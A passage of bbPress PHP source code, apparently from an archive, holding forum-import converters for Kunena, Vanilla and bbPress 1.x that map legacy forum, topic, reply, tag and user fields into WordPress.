			'from_fieldname'  => 'numPosts',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'alias',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'ordering',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 0 or Forum = >0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Open = 0 or Closed = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'locked',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_topics',
			'from_fieldname' => 'id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'category_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_userid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'kunena_messages' table because 'kunena_topics' table does not include author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'ip',
			'join_tablename'  => 'kunena_topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (id)',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_message',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_topics',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'category_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'first_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'last_post_time',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open or Closed, Kunena v2.x 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_topics',
			'from_fieldname'  => 'locked',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * Kunena v2.x Forums do not support topic tags out of the box
		 */

 		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'catid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		// Note: We join the 'kunena_messages_text' table because 'kunena_messages' table does not include reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages_text',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'kunena_messages',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON kunena_messages_text.mesid = kunena_messages.id LEFT JOIN jos_kunena_topics AS kunena_topics ON kunena_messages.thread = kunena_topics.id WHERE kunena_messages.parent != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		//Note: We are importing the Joomla User details and the Kunena v2.x user profile details.

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt. This is only used for the SELECT row info for the above password save
		/*
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'salt',
			'to_type' => 'user',
			'to_fieldname' => ''
		);
		 */

		// User password verify class. Stores in usermeta for verifying password.
		/*
		$this->field_map[] = array(
			'to_type' => 'user',
			'to_fieldname' => '_bbp_class',
			'default' => 'Kunena2'
		);
		 */

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'registerDate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass($field, $row) {
		$pass_array = array('hash' => $field, 'salt' => $row['salt']);
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass($password, $serialized_pass) {
		$pass_array = unserialize($serialized_pass);
		return ( $pass_array['hash'] == md5(md5($password) . $pass_array['salt']) );
	}
	/**
	 * Translate the forum type from Kunena v2.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v2.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == 0 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the forum status from Kunena v2.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v2.x numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from Kunena v2.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v2.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count Kunena v2.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/Vanilla.php000066600000040452151771460310013751 0ustar00<?php

/**
 * bbPress Vanilla Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Vanilla 2.0.18.1 Converter
 *
 * @since 2.3.0 bbPress (r4717)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/vanilla
 */
class Vanilla extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Category',
			'from_fieldname'  => 'CategoryID',
			'from_expression' => 'WHERE Category.CategoryID > 0',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Category',
			'from_fieldname'  => 'ParentCategoryID',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id',
			'callback_method' => 'callback_forum_parent'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'CountDiscussions',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'CountComments',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'CountDiscussions',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'CountComments',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'Name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'Category',
			'from_fieldname'  => 'Name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'Category',
			'from_fieldname'  => 'Description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'Sort',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_date',
		);
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_date_gmt',
		);
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_modified',
		);
		$this->field_map[] = array(
			'from_tablename' => 'Category',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_modified_gmt',
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		// Don't import Vanilla 2's deleted topics
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'DiscussionID',
			'from_expression' => 'WHERE Format != "Deleted"',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'CountComments',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'CountComments',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'CategoryID',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'InsertUserID',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'to_type'      => 'topic',
			'to_fieldname' => '_bbp_old_topic_author_name_id',
			'default'      => 'Anonymous'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'InsertUserID',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'Name',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'Name',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'Body',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'InsertIPAddress',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'CategoryID',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Discussion',
			'from_fieldname'  => 'Announce',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_modified_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Discussion',
			'from_fieldname' => 'DateLastComment',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'TagDiscussion',
			'from_fieldname'  => 'DiscussionID',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'TagDiscussion',
			'from_fieldname'  => 'TagID',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'Tag',
			'from_fieldname'  => 'Name',
			'join_tablename'  => 'TagDiscussion',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tagid)',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		// Don't import Vanilla 2's deleted replies
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'CommentID',
			'from_expression' => 'WHERE Format != "Deleted"',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'DiscussionID',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'DiscussionID',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'Comment',
			'from_fieldname' => 'InsertIPAddress',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'InsertUserID',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'to_type'      => 'reply',
			'to_fieldname' => '_bbp_old_reply_author_name_id',
			'default'      => 'Anonymous'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'InsertUserID',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'Body',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'Comment',
			'from_fieldname'  => 'DiscussionID',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename' => 'Comment',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Comment',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Comment',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename' => 'Comment',
			'from_fieldname' => 'DateUpdated',
			'to_type'        => 'reply',
			'to_fieldname'   => 'post_modified_gmt'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		// Don't import user Vanilla's deleted users
		$this->field_map[] = array(
			'from_tablename'  => 'User',
			'from_fieldname'  => 'UserID',
			'from_expression' => 'WHERE Deleted !=1',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'Password',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_password'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'Name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'Name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'Email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'DateInserted',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_registered'
		);

		// Display Name
		$this->field_map[] = array(
			'from_tablename' => 'User',
			'from_fieldname' => 'Name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * Translate the topic status from Vanilla v2.x numerics to WordPress's strings.
	 *
	 * @param int $status Vanilla v2.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from Vanilla v2.x numerics to WordPress's strings.
	 *
	 * @param int $status Vanilla v2.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // Vanilla Sticky 'Announce = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // Vanilla normal topic 'Announce = 0'
				break;
		}
		return $status;
	}

	/**
	 * Clean Root Parent ID -1 to 0
	 *
	 * @param int $parent Vanilla v2.x Parent ID
	 * @return int
	 */
	public function callback_forum_parent( $parent = 0 ) {
		if ( $parent == -1 ) {
			return 0;
		} else {
			return $parent;
		}
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count Vanilla v2.x reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This method is to save the salt and password together. That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		return false;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		return false;
	}
}
includes/admin/converters/bbPress1.php000066600000052124151771460310014043 0ustar00<?php

/**
 * bbPress 1.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * bbPress 1.1 Converter
 *
 * @since 2.1.0 bbPress (r3816)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/bbpress-1-x-buddypress-group-forums
 */
class bbPress1 extends BBP_Converter_Base {

	/**
	 * Main constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_parent',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

